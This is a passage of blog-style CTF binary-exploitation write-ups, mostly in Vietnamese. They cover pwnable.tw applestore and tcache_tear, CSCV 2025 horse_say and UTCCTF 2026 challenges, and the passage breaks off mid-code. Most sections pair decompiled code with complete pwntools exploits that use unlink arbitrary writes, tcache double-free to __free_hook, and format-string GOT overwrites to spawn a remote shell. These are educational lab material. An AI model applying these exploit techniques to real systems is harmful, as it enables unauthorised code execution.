  puts("Want to checkout? Maybe next time!");
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
} //còn một lỗi sau khi checkout là khi return lại handler local 24 và 20 không tồn tại nhưng linked list vẫn giữ con trỏ tới đó (Use - After - Return) 
</code></pre>
<p> Ta thấy hàm checkout nếu thỏa mãn đều kiện local_2c == 0x1c06 == 7174 thì nó sẽ nhảy vào và thực hiện lệnh đáng ngờ
 <code> insert(&amp;local_24);</code>
 Trong khi đó trong hàm insert():</p>
<pre><code>void insert(int param_1) //hàm này chắc là insert vào giỏ hàng

{
 undefined1 *local_8;
 
 for (local_8 = myCart; *(int *)(local_8 + 8) != 0; local_8 = *(undefined1 **)(local_8 + 8)) {
 } //for chạy đến khi nào mà mycart khác 
 *(int *)(local_8 + 8) = param_1; //lưu fd là khối heap mới ngay sau khối hiện tại
 *(undefined1 **)(param_1 + 12) = local_8; //lưu bk vào khối heap ngay sau = &amp;local8
 return;
}
</code></pre>
<p> Nó thực hiện link khối đó vào tức nó muốn nhận được địa chỉ trên heap chứ không phải địa chỉ ở stack trong khi ở checkout nếu thỏa mãn điều kiện thì nó sẽ coi &amp;local_24 + 0x10 là một khối heap và xử lí nó dẫn đến rủi ro về sau Cụ thể là UAR (Use-After-Return).</p>
<p>Ta thấy &amp;local_24 là địa chỉ nằm trên stack nên sau khi hàm checkout return nó sẽ trả lại vùng stack cho chương trình sử dụng nhưng local_24 vẫn chưa được xóa trong linked-list do lệnh insert(&amp;local_24)</p>
<p>Vậy khi ta gọi lại delete() hoặc cart() thì nó sẽ dùng chính lại vùng stack mà checkout() đã dùng khiến cho lệnh bị sai lệch.</p>
<h4>Cơ chế unlink của hàm delete:</h4>
<p> Ta thấy trong chương trình không hề có một hàm free nào vậy nó xóa khối đó kiểu gì:</p>
<pre><code class="language-c">     iVar2 = local_38[2];
     iVar1 = local_38[3];
     if (iVar1 != 0) {
       *(int *)(iVar1 + 8) = iVar2;
     }
     if (iVar2 != 0) {
       *(int *)(iVar2 + 0xc) = iVar1;
     } //cơ chế unlink của danh sách liên kết đôi nhưng nó chả thèm kiểm tra cho nên nếu thao túng được fd và bk thì có arbitrary write
</code></pre>
<p> Nó nằm ở đây: Với Ivar2 là fd còn Ivar1 là bk
 Nó thực hiện cơ chế unlink mà không hề kiểm tra điều kiện
 vậy lúc này nếu ta kiểu soát được con trỏ fd và bk thì ta có thể làm những gì
Ta có thể gán giá trị iVar2 vào địa chỉ (iVar1 + 8)
và gán giá trị iVar1 vào địa chỉ (iVar2 + 12)
 Có thể đọc thêm ở đây: </p>
<p> {%preview <a href="https://docs.google.com/document/d/1zUv_3upmmszCS1b-ssUpCM66Jyrrogukl5Lf-aCU788/edit?usp=sharing">https://docs.google.com/document/d/1zUv_3upmmszCS1b-ssUpCM66Jyrrogukl5Lf-aCU788/edit?usp=sharing</a> %}</p>
<p> Vậy từ hai lỗi này ta có thể làm gì bây giờ đầu tiên hãy tìm offset của local_24 khi checkout() được gọi.</p>
<pre><code>...
8048b80:       8d 45 e0                lea    eax,[ebp-0x20] //offset local_24 = [ebp-0x20]
8048b83:       89 04 24                mov    DWORD PTR [esp],eax
8048b86:       e8 c5 f9 ff ff          call   8048550 &lt;asprintf@plt&gt;
8048b8b:       c7 45 e4 01 00 00 00    mov    DWORD PTR [ebp-0x1c],0x1
8048b92:       8d 45 e0                lea    eax,[ebp-0x20]
...
</code></pre>
<p><code>&gt; offset local_24 = [ebp-0x20]</code></p>
<p>vậy khi hàm delete được gọi thì sao:</p>
<pre><code> ...
 80489da:       8d 45 de                lea    eax,[ebp-0x22] //offset input()
 80489dd:       89 04 24                mov    DWORD PTR [esp],eax
 80489e0:       e8 b4 fd ff ff          call   8048799 &lt;my_read&gt;
 80489e5:       8d 45 de                lea    eax,[ebp-0x22]
 80489e8:       89 04 24                mov    DWORD PTR [esp],eax
 80489eb:       e8 70 fb ff ff          call   8048560 &lt;atoi@plt&gt;
 ...
</code></pre>
<p>Ta thấy <code>&gt; offset input = [ebp-0x22]</code>
Vậy ta chỉ lần 2 byte để ghi đè lại đúng giá trị chunk local_24 đang nằm trong linked list mà input là mảng char [22] phần từ giúp chúng ta có thể kiểm soát được cả fd và bk của chunk giả local_24 để thực hiện arbitrary write</p>
<h3>Ý tưởng</h3>
<p>Vì chương trình có Partial RELRO afv No PIE nên có ý tưởng là atoi@GOT = system sau đó ta nhập sh sẽ thành system('/bin/sh') =&gt; CÓ SHELL!
Nhưng trước đó ta cần phải leak libc để biết được địa chỉ system
Chú ý trong hàm delete ta thấy:
<code>&gt; printf("Remove %d:%s from your shopping cart.\n",i,*local_38);</code>
thực ra local_38 là note-&gt;name
mà nhìn vào sơ đồ stack thì ta hoàn toàn có thể ghi vào trường này thông qua local_24
<img src="https://hackmd.io/_uploads/BksgjvyIze.png" alt="image" />
CRE: Dr.X
tiếp theo ta có thể leak stack thông qua cách tương tự:
<img src="https://hackmd.io/_uploads/BkomswkUzg.png" alt="image" />
leak stack để giúp ta tìm ra địa chỉ của ebp sau này để mà ghi đè nó
Tiếp theo sau khi đã leak thành công libc và stack thì ta có thể thực hiện overwrite .GOT = system()
vì offset input = ebp - 0x22
ta có thể ghi đè ebp = atoi - 0x22
lúc đó input sẽ ghi đè thẳng vào atoi trong GOT đoạn đấy truyền địa chỉ system vào và '/bin/sh' ngay sau làm tham số</p>
<p>Khi đó ta truyền vào 
fd = aoit - 0x22
và bk = ebp - 0x8
kết quả khi lệnh unlink chạy:</p>
<pre><code class="language-c">     iVar2 = local_38[2];
     iVar1 = local_38[3];
     if (iVar1 != 0) {
       *(int *)(iVar1 + 8) = iVar2;
     }
     if (iVar2 != 0) {
       *(int *)(iVar2 + 0xc) = iVar1;
</code></pre>
<p>lệnh đầu tiên gán saved ebp = atoi - 0x22
và gán atoi - 0x16 = ebp - 0x8 (không quan trọng)</p>
<h3>PAYLOAD</h3>
<pre><code class="language-python">from pwn import *

p = remote('chall.pwnable.tw', 10104)
bin = ELF('./applestore')
libc = ELF('./libc_32.so.6')

def add(item):
    p.sendlineafter(b'&gt; ', b'2')
    p.sendlineafter(b'&gt; ', item)

def delete(item):
    p.sendlineafter(b'&gt; ', b'3')
    p.sendlineafter(b'&gt; ', item)

def checkout():
    p.sendlineafter(b'&gt; ', b'5')
    p.sendlineafter(b'&gt; ', b'y')

# pass checkout (local_2c == 7174)
for i in range(20):
    add(b'2')
for i in range(6):
    add(b'1')

# get iPhone 8 - 1$
checkout()

# leak libc address
payload = b"27" + p32(bin.got['atoi']) + p32(0) * 3 #P-&gt;name == atoi@GOT
delete(payload)
p.recvuntil(b'27:')
atoi_address = u32(p.recvuntil(b' ')[:4])
libc.address = atoi_address - libc.symbols['atoi']

# leak stack address
payload = b"27" + p32(libc.sym['environ']) + p32(0) * 3
delete(payload)
p.recvuntil(b'27:')
environ_address = u32(p.recvuntil(b' ')[:4])
ebp_address = environ_address - 0x104 #offset between environ and ebp find in gdb

# write ebp to atoi+0x22
payload = b'27' + p32(0) * 2 + p32(bin.got['atoi'] + 0x22) + p32(ebp_address - 0x8)
delete(payload)

# set the atoi got to system addr, and execute the system('/bin/sh')
payload = p32(libc.sym['system']) + b';/bin/sh\x00'
p.sendlineafter(b'&gt; ', payload)

p.interactive()
</code></pre>
<p><code>FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}</code></p>
<h2>Tcache_tear</h2>
<p><img src="https://hackmd.io/_uploads/Sk9IkfUYzx.png" alt="image" /></p>
<h3>Analyse</h3>
<p><img src="https://hackmd.io/_uploads/SkGFyf8FMl.png" alt="image" />
Ta thấy chương trình là một file ELF 64bit bật full cơ chế bảo vệ trừ PIE, và do file đã stripped nên tên của các hàm đã bị xóa
Tiếp theo hãy bật ghidra để thực sự biết chương trình làm gì</p>
<p>Sau khi mở ghidra chúng ta thu thập được các hàm sau:
Hàm main:</p>
<pre><code class="language-c">
void main(void)

{
  long lVar1;
  uint local_c;
  
  time_system_func();
  printf("Name:");
  read_func(&amp;DAT_00602060,0x20); //check thì biến này ở trong vùng nhớ lớn 0x27byte cho nên kh có BO ở đây
  local_c = 0;
  do {
    while( true ) {
      while( true ) {
        menu();
        lVar1 = choice();
        if (lVar1 != 2) break;
        if (local_c &lt; 8) {
          free(DAT_00602088); //sau một hồi quan sát thì chỉ có ở đây là lỗi UAF có thể là double free
          local_c = local_c + 1;
        }
      }
      if (2 &lt; lVar1) break;
      if (lVar1 == 1) {
        malloc_func();
      }
      else {
LAB_00400c75:
        puts("Invalid choice");
      }
    }
    if (lVar1 != 3) {
      if (lVar1 == 4) {
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      goto LAB_00400c75;
    }
    name_func();
  } while( true );
}
</code></pre>
<p>Đây là hàm thực thi chính, nhìn sơ qua chúng ta thấy các hàm như <code>malloc()</code> và <code>free()</code> gợi ý đây là bài liên quan đến Heap exploit
Các hàm được hàm này gọi bao gồm</p>
<ol>
<li><code>time_system_func</code></li>
<li><code>choice</code></li>
<li><code>malloc_func</code></li>
<li><code>name_func</code></li>
<li><code>menu</code>
Chương trình dùng hàm choice để nhận luồng nhập từ người dùng cụ thể như sau:</li>
</ol>
<pre><code class="language-c">longlong choice(void) //chỉ có hàm này là hàm có canary

{
  longlong lVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __read_chk(0,local_28,0x17,0x18); //không có buffer overflow
  lVar1 = atoll(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return lVar1; //trả về số nhập trong local_28
}
</code></pre>
<p>Nhìn vào hàm main ta thấy logic nó cho phép người dùng nhập tên sau đó in ra <code>menu</code> để chọn các chức năng của chương trình (nhận bằng hàm <code>choice</code>) tương ứng trong hàm <code>menu</code> như sau: </p>
<pre><code class="language-c">void menu(void)

{
  puts("$$$$$$$$$$$$$$$$$$$$$$$");
  puts("      Tcache tear     ");
  puts("$$$$$$$$$$$$$$$$$$$$$$$");
  puts("  1. Malloc            ");
  puts("  2. Free              ");
  puts("  3. Info              ");
  puts("  4. Exit              ");
  puts("$$$$$$$$$$$$$$$$$$$$$$$");
  printf("Your choice :");
  return;
}
</code></pre>
<p>Chương trình gồm có 3 chức năng chính:
Khi ta chọn 1 nó nhảy vào hàm <code>malloc_func</code>:</p>
<pre><code class="language-c">void malloc_func(void)

{
  ulong __size;
  
  printf("Size:");
  __size = choice();
  if (__size &lt; 0x100) { //giới hạn malloc() &lt; 0x100 bytes
    DAT_00602088 = malloc(__size);
    printf("Data:");
    read_func(DAT_00602088,(int)__size + -0x10); //an toàn không bị lỗi buffer overflow vì đã trừ đi phần header
    puts("Done !");
  }
  return;
}
</code></pre>
<p>Hàm này có chức năng cho phép người dùng tạo một vùng nhớ (bé hơn 0x100 bytes) trong heap và cho chọn size của vùng nhớ đó cũng như điền data vào vùng nhớ mới khởi tạo</p>
<p>Khi ta chọn 3 nó nhảy vào hàm <code>name_func</code>:</p>
<pre><code class="language-c">void name_func(void)

{
  printf("Name :");
  write(1,&amp;DAT_00602060,0x20); //đây cũng không có lỗi 
  return;
}
</code></pre>
<p>Hàm này có chức năng in ra 0x20 bytes từ địa chỉ &amp;DAT_00602060 trong vùng .bss (vùng nhớ của biến name) ra màn hình</p>
<p>Nhưng có một điều đáng chú ý ở lựa chọn 2:
Ta cũng thấy có lỗi cực kì nghiêm trọng trong hàm main ở lựa chọn số 2 đó chính free(* ptr) nhưng không xét con trỏ bằng NULL:</p>
<pre><code class="language-c">if (local_c &lt; 8) {
          free(DAT_00602088); //sau một hồi quan sát thì chỉ có ở đây là lỗi UAF có thể là double free
          local_c = local_c + 1;
        }
</code></pre>
<p>Điều này gây ra các lỗi <code>UAF</code> hoặc <code>Double free</code> có thể được hacker sử dụng để chiếm quyền hệ thống.</p>
<p>Các hàm khác: </p>
<pre><code class="language-c">void time_system_func(void)

{
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  signal(0xe,time_out);
  alarm(0x3c);
  return;
}


void time_out(void)

{
  puts("Timeout");
                    /* WARNING: Subroutine does not return */
  _exit(1);
}
</code></pre>
<p>Các hàm này đơn giản là cho setbuf = 0 cho chương trình flush dữ liệu ngay, kèm với giới hạn thời gian 60s cho một lần chạy chương trình.</p>
<h3>Ý tưởng</h3>
<p>Vì chương trình xuất hiện lỗi Double free nên ta có thể có quyền Arbitrary Write
Giải thích về Double Free: <a href="https://ir0nstone.gitbook.io/notes/binexp/heap/double-free">https://ir0nstone.gitbook.io/notes/binexp/heap/double-free</a></p>
<p>Đã có quyền ghi vào bất cứ địa chỉ nào, tiếp theo ta làm sao để có thể có shell</p>
<p>Sau khi phân tích file <code>libc.so.6</code> ta nhận thấy đây là một phiên bản glibc cũ cụ thể là phiên bản 2.27 ở phiên bản này khi hàm <code>free()</code> được gọi nó sẽ được gọi thông qua <code>__free_hook()</code> trong glibc nên khi ta ghi địa chỉ hàm <code>system()</code> vào địa chỉ của hàm <code>__free_hook()</code> glibc thì khi lệnh <code>free</code> được thực hiện thay vì gọi hàm <code>__free_hook()</code> nó sẽ gọi hàm <code>system</code></p>
<p>Khi đó nếu ta truyền thêm tham số <code>/bin/sh\x00</code> cho <code>free</code> thì lúc đó chúng ta đã có Shell!!!</p>
<p>Nhưng làm sao để có địa chỉ hàm system trong glibc, glibc có cơ chế ASLR hiểu đơn giản là địa chỉ các hàm không hề cố định chúng thay đỗi mỗi khi chương trình được chạy, hiểu là khi chúng ta chạy chương trình thì địa chỉ của các hàm trong thư viện libc lại thay đổi. Do đó ta phải leak địa chỉ libc ngay trong lúc chạy chương trình đó,lúc đó ta mới có thể tìm địa chỉ hàm <code>system</code> và hàm <code>__free_hook</code> để thực hiện payload của mình:</p>
<p>Vậy tiếp theo làm sao để leak được libc.</p>
<p>Một phương pháp leak libc phổ biến trong các challenge heap là leak thông qua <code>Unsorted_bin</code> 
Đọc thêm về cách heap hoạt động và các cách tấn công heap ở đây: <a href="https://guyinatuxedo.github.io/25-heap/index.html">https://guyinatuxedo.github.io/25-heap/index.html</a></p>
<p>Cụ thể nhờ con trỏ fd và bk trong một chunk trong <code>Unsorted_bin</code> trỏ về <code>main_arena</code> một địa chỉ trong glibc cho nên ta có thể leak địa chỉ này, tính libc_base sau đó ta sẽ có được địa chỉ của <code>system</code> cũng như <code>__free_hook</code> để hoàn thành exploit</p>
<p>Nhưng nhìn lại vào code chương trình cụ thể ở option 1 hàm <code>malloc_func()</code>:</p>
<pre><code class="language-c">void malloc_func(void)

{
  ulong __size;
  
  printf("Size:");
  __size = choice();
  if (__size &lt; 0x100) { //giới hạn malloc() &lt; 0x100 bytes
    DAT_00602088 = malloc(__size);
    printf("Data:");
    read_func(DAT_00602088,(int)__size + -0x10); //an toàn không bị lỗi buffer overflow vì đã trừ đi phần header
    puts("Done !");
  }
  return;
}
</code></pre>
<p>Chương trình chỏ cho phép ta malloc một chunk có kích thước dưới <code>0x100</code> bytes, nhưng muốn chunk rơi vào <code>Unsorted_bin</code> sau khi free ta cần chunk có kích thước lớn hơn <code>0x420</code> bytes Vậy bây giờ ta làm thế nào ???</p>
<p>Nhờ vào lỗi double_free đã nói cho ta quyền ghi vào địa chỉ bất kì data mà ta muốn do đó ta có thể <code>fake_chunk</code> với <code>chunk_size</code> đủ lớn để khi <code>free</code> nó rơi vào <code>unsorted_bin</code></p>
<blockquote>
<p>Lưu ý: Khi chúng ta fake_chunk chúng ta cũng cần phải fake luôn chunk liền sau fake_chunk đó vì glibc có cơ chế kiểm tra, nếu không chương trình của chúng ta sẽ bị lỗi.</p>
</blockquote>
<h3>PAYLOAD</h3>
<p>Payload của chúng ta chia làm 3 phần
Phần 1: Tạo <code>fake_chunk</code> và đưa <code>fake_chunk</code> vào <code>Unsorted_bin</code></p>
<pre><code class="language-python">FAKE_CHUNK = 0x602060
TARGET_ADDR = p64(FAKE_CHUNK + 0x10) #Phần user_data của chunk

# Nhập Name tạo Fake Header (size 0x501)
user_payload = p64(0) + p64(0x501)
p.sendafter(b'Name:', user_payload)

fake_chunk_payload = p8(0x41) * (0x18) + \
    p64(FAKE_CHUNK + 0x10) + p8(0x41) * (0x500 - 0x18 - 0x18)
fake_chunk_payload += p64(0x500) + p64(0x21) + p8(0x42) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10

arby_write(TARGET_ADDR, fake_chunk_payload)

free()
</code></pre>
<p>Địa chỉ của biến name trong vùng .bss là <code>0x602060</code> chúng ta tận dụng vùng nhớ này làm luôn <code>fake chunk</code> bởi vì chương trình có chức năng <code>info</code> in ra <code>0x20</code> bytes từ địa chỉ biến name nên khi fake chunk này rơi vào <code>unsorted_bin</code> dùng chức năng này ta sẽ đọc được giá trị con trỏ fd và bk của chunk này (là <code>main_arena</code>) thực hiện tính toán <code>libc_base</code> để tìm ra được địa chỉ hàm <code>system()</code> và hàm <code>__free_hook</code></p>
<p>Ta dựng ba chunk giả liên tiếp để bypass check của glibc</p>
<p>Phần 2: Leak libc</p>
<pre><code class="language-python">name_data = info()
main_arena_leak = u64(name_data[0x10:0x18]) # lấy giá trị của fd pointer chunk này (offset từ 0x10 đến x018)

BASE_OFFSET = 0x3ebca0 
#Ở đây biết được phiên bản glibc là 2.27 cho nên ta tìm được offset của main_arena+60 đến libc_base
libc.address = main_arena_leak - BASE_OFFSET #tính toán libc_base

log.info(f"Main Arena Leak : {hex(main_arena_leak)}")
log.info(f"Libc Base       : {hex(libc.address)}")
</code></pre>
<p>Phần 3: Ghi đè <code>__free_hook</code> thành <code>system</code> và <code>trigger</code>:</p>
<pre><code class="language-python">free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info(f"__free_hook     : {hex(free_hook)}")
log.info(f"system          : {hex(system)}")

add(100, b'AAAA')
arby_write(p64(free_hook), p64(system), 40)

# Trigger shell
add(50, b'/bin/sh\x00')
free()
</code></pre>
<h4>FULL PAYLOAD</h4>
<pre><code class="language-python">from pwn import *


exe = ELF('./tcache_tear', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

p = remote('chall.pwnable.tw', 10207)

def add(size, data):
    p.sendafter(b'Your choice :', b'1')
    p.sendafter(b'Size:', str(size).encode())
    p.sendafter(b'Data:', data)

def free():
    p.sendafter(b'Your choice :', b'2')

def info():
    p.sendafter(b'Your choice :', b'3')
    p.recvuntil(b'Name :')
    return p.recv(0x20)

def arby_write(write_addr, write_val, bin_sz=10):
    add(bin_sz, b'AAAAAAAA')
    free()
    free()
    add(bin_sz, write_addr)
    add(bin_sz, b'junk')
    add(bin_sz, write_val)



# ==========Phần 1=============

FAKE_CHUNK = 0x602060
TARGET_ADDR = p64(FAKE_CHUNK + 0x10) # 0x602070

# Nhập Name tạo Fake Header (size 0x501)
user_payload = p64(0) + p64(0x501)
p.sendafter(b'Name:', user_payload)

fake_chunk_payload = p8(0x41) * (0x18) + \
    p64(FAKE_CHUNK + 0x10) + p8(0x41) * (0x500 - 0x18 - 0x18)
fake_chunk_payload += p64(0x500) + p64(0x21) + p8(0x42) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10

arby_write(TARGET_ADDR, fake_chunk_payload)

free()

# ==========Phần 2=============

name_data = info()
main_arena_leak = u64(name_data[0x10:0x18]) # 8 byte fd pointer của Unsorted Bin

BASE_OFFSET = 0x3ebca0
libc.address = main_arena_leak - BASE_OFFSET

log.info(f"Main Arena Leak : {hex(main_arena_leak)}")
log.info(f"Libc Base       : {hex(libc.address)}")

# ==========Phần 3=============

free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info(f"__free_hook     : {hex(free_hook)}")
log.info(f"system          : {hex(system)}")

add(100, b'AAAA')
arby_write(p64(free_hook), p64(system), 40)

# Trigger shell
add(50, b'/bin/sh\x00')
free()

#cat /home/tcache_tear/flag để đọc flag
p.interactive()
</code></pre>
<p><img src="https://hackmd.io/_uploads/S1cV0MUYzg.png" alt="image" /></p>
]]></content:encoded></item><item><title><![CDATA[Write Up CSCV 2025]]></title><description><![CDATA[PWN Write Up RacehorseS CSCV 2025
Author: niddalA
Ngày: 2025-10-21
Tools: pwntools, gdb, IDE

First we need to extract the horse_say.zip file with the password 'CSCV2025' provided by the author. Next ]]></description><link>https://niddala.hashnode.dev/write-up-cscv-2025</link><guid isPermaLink="true">https://niddala.hashnode.dev/write-up-cscv-2025</guid><category><![CDATA[pwn]]></category><category><![CDATA[CTF]]></category><category><![CDATA[#cscv]]></category><dc:creator><![CDATA[Dân Hồ]]></dc:creator><pubDate>Mon, 14 Sep 2026 15:17:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aa7d555802931d57df3084c/3590196c-a130-48c1-8db4-9bd1b8cbe477.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>PWN Write Up RacehorseS CSCV 2025</h1>
<p><strong>Author:</strong> niddalA
<strong>Ngày:</strong> 2025-10-21
<strong>Tools:</strong> pwntools, gdb, IDE</p>
<h2></h2>
<p>First we need to extract the horse_say.zip file with the password 'CSCV2025' provided by the author. Next we need to check the <strong>challenge</strong> file.<img src="https://hackmd.io/_uploads/Hk8SBMSCxe.jpg" alt="PWNHS1jpg" /></p>
<blockquote>
<p>We see it is a 64-bit ELF file, Partial RELRO, and NO PIE!!!</p>
</blockquote>
<h2>Detect system vulnerabilities</h2>
<p>After using the IDE to be able to see the code executing the program, we found the format string error here:</p>
<pre><code>int __fastcall main(int argc, const char **argv, const char **envp)
{
  // ...
  if ( fgets(s, 1024, stdin) )
  {
    // ...
    printf(s);                                  // format-string here
    // ...
    exit(0);
  }
  return 0;
}
</code></pre>
<h2>Solution direction</h2>
<p>Here the program has a format-string error but the program only allows one input, the program executes the command 'printf' and then 'exit' but to exploit the error from the program we need both <strong>read primitive</strong> to leak the address and <strong>write primitive</strong> to be able to get the shell. To be able to do that we need to somehow <strong>create a loop for the main function</strong> to trigger more format string errors instead of letting them end.</p>
<p>Previously, we saw that ELF files <strong>do not have PIE</strong>. This is very important because the addresses of main and GOT functions are fixed. Next, the file only has <strong>Partical RELRO</strong>. This allows the GOT address to be overwritten. Choosing to overwrite the GOT address is optimal in this challenge.</p>
<p>So what do we need to do now? In the first 'printf', we use format-string to be able to overwrite the address of the GOT cell of the <strong>'exit'</strong> function to the address of the <strong>'main'</strong> function, but here I think we should overwrite the GOT address of the <strong>'exit'</strong> function to the address of the <strong>'fget'</strong> function to avoid confusion and be able to immediately execute the next format-string error. Another extremely important thing is that our memory area 's' is not cleared after each run.</p>
<h2>PoC</h2>
<p>After running format-string infinite times we now have all the libc base addresses of the files.Finally, just overwrite the address of the <strong>strlen()</strong> function to the address of the <strong>system()</strong> function in GOT then for s = "/bin/sh", system("\bin\sh") will run and we have the flag.</p>
<pre><code class="language-python">from pwn import *

exe = ELF("./horse_say_patched")
context.terminal = ["tmux", "splitw", "-h"]
context.binary = exe

gdbscript = '''
b *0x40145A
'''
def conn():
    if args.LOCAL:
        # r = gdb.debug([exe.path], gdbscript)
        r = process([exe.path])
    else:
        r = remote("pwn1.cscv.vn", 6789)
        r.recvuntil(b'proof of work: ')
        proof = r.recvline().strip().decode()
        log.info(f"Proof: {proof}") 
        try:
            solution_bytes = subprocess.check_output(proof, shell=True)
            solution = solution_bytes.strip().decode()
            log.success(f"PoW Solution: {solution}")
            r.sendlineafter(b'solution: ', solution.encode())
            
        except subprocess.CalledProcessError as e:
            log.error(f"Failed to solve PoW. Command failed with error: {e}")
            r.close()
            return None 
    return r


def main():
    r = conn()

    # good luck pwning :)

    # loop back to main
    payload = b"%p%p%p%p.%p.%p%p%p%p%4727p.%p.%p.%p.%p.%p%p%p%hn" + p64(exe.got["exit"]) 
    r.sendlineafter(b'Say something: ', payload)
    r.wait(0.5)
    r.recvuntil(b'                ||     ||\n\n')

    # leak
    payload = b"%144$p"
    r.sendline(payload)
    r.recvuntil(b'&lt; ')
    leak = r.recvuntil(b' &gt;', drop=True)
    log.info(leak)
    leak = int(leak, 16)
    system = leak + 0x2e586
    log.info(f"system: {hex(system)}")
    libc_base = leak - 0x2a1ca
    log.info(f"libc base: {hex(libc_base)}")
    r.recvuntil(b'                ||     ||\n\n')

    # store strlen address in stack for later use
    payload = b'a'*8*10 + p64(exe.got["strlen"]) +  p64(exe.got["strlen"] +2) 
    r.sendline(payload)
    r.recvuntil(b'                ||     ||\n\n')

    # overwrite strlen GOT to system
    payload = f"%{system &amp; 0xffff}c%25$hn" + f"%{((system &gt;&gt; 16) &amp; 0xff) + 0x100 - (system &amp; 0xff)}c%26$hhn"
    r.sendline(payload.encode())
    r.recvuntil(b'                ||     ||\n\n')

    # system("/bin/sh")
    payload = b"/bin/sh\x00"
    r.sendline(payload)
    
    r.interactive()


if __name__ == "__main__":
    main()
</code></pre>
]]></content:encoded></item><item><title><![CDATA[UTCCTF Write UP 2026]]></title><description><![CDATA[Write up Small Blind - Binary Exploit 2025
Author: niddalA
Date: 13/03/2026

Phân tích
Bài chỉ cho một link kết nối tới server và nói chúng ta sẽ chơi poker
Đầu tiên sẽ kết nối tới server

Về luật chơ]]></description><link>https://niddala.hashnode.dev/utcctf-write-up-2026</link><guid isPermaLink="true">https://niddala.hashnode.dev/utcctf-write-up-2026</guid><dc:creator><![CDATA[Dân Hồ]]></dc:creator><pubDate>Mon, 14 Sep 2026 15:14:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aa7d555802931d57df3084c/7533a166-e20e-41af-9a7e-ec12b543dbc8.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Write up Small Blind - Binary Exploit 2025</h1>
<p>Author: niddalA
Date: 13/03/2026
<img src="https://hackmd.io/_uploads/Ske-3B8bcbx.png" alt="image" /></p>
<h2>Phân tích</h2>
<p>Bài chỉ cho một link kết nối tới server và nói chúng ta sẽ chơi poker
Đầu tiên sẽ kết nối tới server
<img src="https://hackmd.io/_uploads/BJeNUUZ9Wx.png" alt="image" />
Về luật chơi của Poker hãy xem link sau:
<a href="https://youtu.be/CpSewSHZhmo">https://youtu.be/CpSewSHZhmo</a>
Quay lại với bài tác giả không muốn chúng ta thắng như bình thường
bây giờ hãy khai thác chương trình khi chúng ta nhập input ở <code>Enter your name:</code>
<img src="https://hackmd.io/_uploads/BJFxvIWc-g.png" alt="image" />
Ở đây chương trình đã mắc lỗi Format-String ở mục nhập tên thay vì in lại %p thì nó lại in ra các địa chỉ như: <code>0x16</code>.</p>
<p>Tiếp tục ta có thể dùng %n để ghi đè giá trị của biến chips của bản thân.
Để làm như thế thì dùng ta cần phải biết biến chips nằm ở đâu.
Sau khi thử với <code>%p</code> và <code>%s</code> tôi không tìm được chips nằm ở đâu, sau khi hỏi tác giả, author gợi ý dùng <code>%x</code>
Ta dùng pwntools để làm việc này:</p>
<pre><code class="language-python">from pwn import *

def find_chips_with_hex():
    context.log_level = 'error'
    p = remote('challenge.utctf.live', 7255)
    
    # Gửi một chuỗi dài các %x để soi toàn bộ Stack dưới dạng Hex
    # Chúng ta tìm số 1f4 (500) hoặc 3e8 (1000)
    payload = "START." + ".%x"*40
    p.sendlineafter(b"name: ", payload.encode())
    
    p.recvuntil(b"Welcome to the table, START.")
    data = p.recvuntil(b"!", drop=True).decode()
    p.close()
    
    parts = data.split('.')
    print("\n[!] Stack View (Hex):")
    for i, val in enumerate(parts):
        if i == 0: continue
        # 1f4 là 500 chip
        if "1f4" in val.lower():
            print(f"Index {i:2}: {val}  &lt;-- CÓ THỂ LÀ BIẾN CHIPS!")
        else:
            print(f"Index {i:2}: {val}")

find_chips_with_hex()
</code></pre>
<p>Chạy chương trình ta thấy
<img src="https://hackmd.io/_uploads/Byt1tL-qbx.png" alt="image" />
Nghi ngờ các index 1,6,7,8,9,13
Sau khi test ta xác nhận index 7</p>
<h2>Exploit</h2>
<p><img src="https://hackmd.io/_uploads/SJKbqL-9Ze.png" alt="image" />
Sau khi trigger được hệ thống:
<img src="https://hackmd.io/_uploads/S1r4cLZqWx.png" alt="image" />
Ta tiếp tục exploit
Ở đây ta đã đạt được mục đích của tác giả bằng chứng là tới bước này ta không cần chơi poker và chọn <code>n</code>
<img src="https://hackmd.io/_uploads/ByOSiIbcbl.png" alt="image" />
Mục đích chỉ là có chips cực lớn vượt quá chips có thể thắng một cách 'bình thường' =&gt; FLAG!!!
FLAG: <code>utflag{counting_chars_not_cards}</code></p>
<h1>Write up House Of Joy</h1>
<p>Author: niddalA
Date: 13/03/2026
<img src="https://hackmd.io/_uploads/H1dwn8-9Wx.png" alt="image" /></p>
<h2>Phân tích</h2>
<p>Challenge cung cấp cho chúng ta một file binary
Tiếp theo hãy dùng Ghidra để phân tích nó
<img src="https://hackmd.io/_uploads/HyRgaLZ5Wl.png" alt="image" />
Ta đã có source code:</p>
<pre><code class="language-c">undefined8 main(void)

{
  size_t sVar1;
  int local_5c;
  char local_58 [76];
  int local_c;
  
  setup();
  local_c = -0x21524111;
  printf("What is your name? ");
  fgets(local_58,0x40,stdin);
  sVar1 = strcspn(local_58,"\n");
  local_58[sVar1] = '\0';
  printf("Hello, ");
  printf(local_58);
  puts("!");
  printf("Enter the secret code: ");
  __isoc99_scanf(&amp;DAT_0010203c,&amp;local_5c);
  if (local_5c == local_c) {
    print_flag();
  }
  else {
    puts("Wrong! Nice try.");
  }
  return 0;
